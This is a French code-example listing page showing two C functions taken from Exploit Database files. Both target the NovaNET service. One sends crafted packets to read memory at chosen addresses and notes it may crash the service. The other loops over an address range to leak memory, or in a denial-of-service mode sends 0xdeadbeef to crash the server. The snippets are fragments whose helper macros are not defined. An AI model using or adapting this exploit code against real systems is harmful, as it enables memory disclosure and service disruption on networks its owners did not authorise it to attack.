C++ (Cpp) NOVANET_SET_INT Exemples

Exemple #1

Fichier : 33878.c Projet : offensive-security/exploit-database

static int
novanet_read (char *host, void *start, void *dst)
{
  fd_set r_fds;
  struct timeval tv;
  int fd, n;
  char buf[NOVANET_PKT_SZ], rbuf[NOVANET_PKT_SZ];

  novanet_read_pkt_init (buf);
  start = (void *) NOVANET_CALC_INT (start);

  fd = sockami (host, NOVANET_TCP_PORT);
  if (fd == -1)
    {
      fprintf (stderr, "novanet_read: sockami failed\n");
      exit (EXIT_FAILURE);
    }

  NOVANET_SET_INT (buf, (unsigned int) start);
  if ((n = sock_send (fd, buf, sizeof buf)) != NOVANET_PKT_SZ)
    {
      fprintf (stderr, "novanet_read: sock_send returned %d (!= %d)\n",
               n, NOVANET_PKT_SZ);
      return (0);
    }

  FD_ZERO (&r_fds);
  FD_SET (fd, &r_fds);
  tv.tv_sec = 4;        /* wait 4 seconds */
  tv.tv_usec = 0;

  n = select (fd + 1, &r_fds, NULL, NULL, &tv);
  if (n == -1)
    {
      fprintf (stderr, "novanet_read: select() - %s\n", strerror (errno));
      exit (EXIT_FAILURE);
    }
  else if (n)
    {
      if ((n = sock_recv (fd, rbuf, sizeof rbuf)) != NOVANET_PKT_SZ)
        {
          fprintf (stderr, "novanet_read: sock_recv returned %d (!= %d)\n",
                   n, NOVANET_PKT_SZ);
          return (0);
        }
    }
  else
    {
      fprintf (stderr, "novanet_read: select timeout, we may have crashed NovaNET :(\n");
      exit (EXIT_FAILURE);
    }

  memcpy (dst, &rbuf[NOVANET_INT_IDX], sizeof (void *));
  usleep (USLEEP_TIME);
  close (fd);

  return (1);
}

Exemple #2

Fichier : 33876.c Projet : AlexxNica/exploit-database

static void
novanet_read (char *host, void *start, void *end, int is_dos)
{
  int sock, i, num_hits;
  char buf[BUF_SIZE], rbuf[BUF_SIZE];

  novanet_pkt_init (buf);

  start = (void *) NOVANET_CALC_INT (start);
  end = (void *) NOVANET_CALC_INT (end);

  if (!is_dos)
    printf ("start: %p end: %p\n", start, end);

  num_hits = is_dos ? 1 : (end - start);
  printf ("+hitting %s:%d. (%d times)\n", host, NOVANET_TCP_PORT, num_hits);

  for (i = 0; i < num_hits; i++, start++)
    {
      sock = sockami (host, NOVANET_TCP_PORT);
      if (sock == -1)
        break;

      NOVANET_SET_INT (buf, (is_dos ? NOVANET_CALC_INT (0xdeadbeef) : (unsigned int) start));
      sock_send (sock, buf, sizeof buf);

      if (!is_dos)
        {
          sock_recv (sock, rbuf, sizeof rbuf);
          write (fileno (stderr), &rbuf[NOVANET_INT_IDX], sizeof (int));
          usleep (USLEEP_TIME);
          close (sock);

          if (!((i + 1) % 8))
            printf ("..%d", i + 1);

          fflush (stdout);
        }
    }

  printf ("\n");
}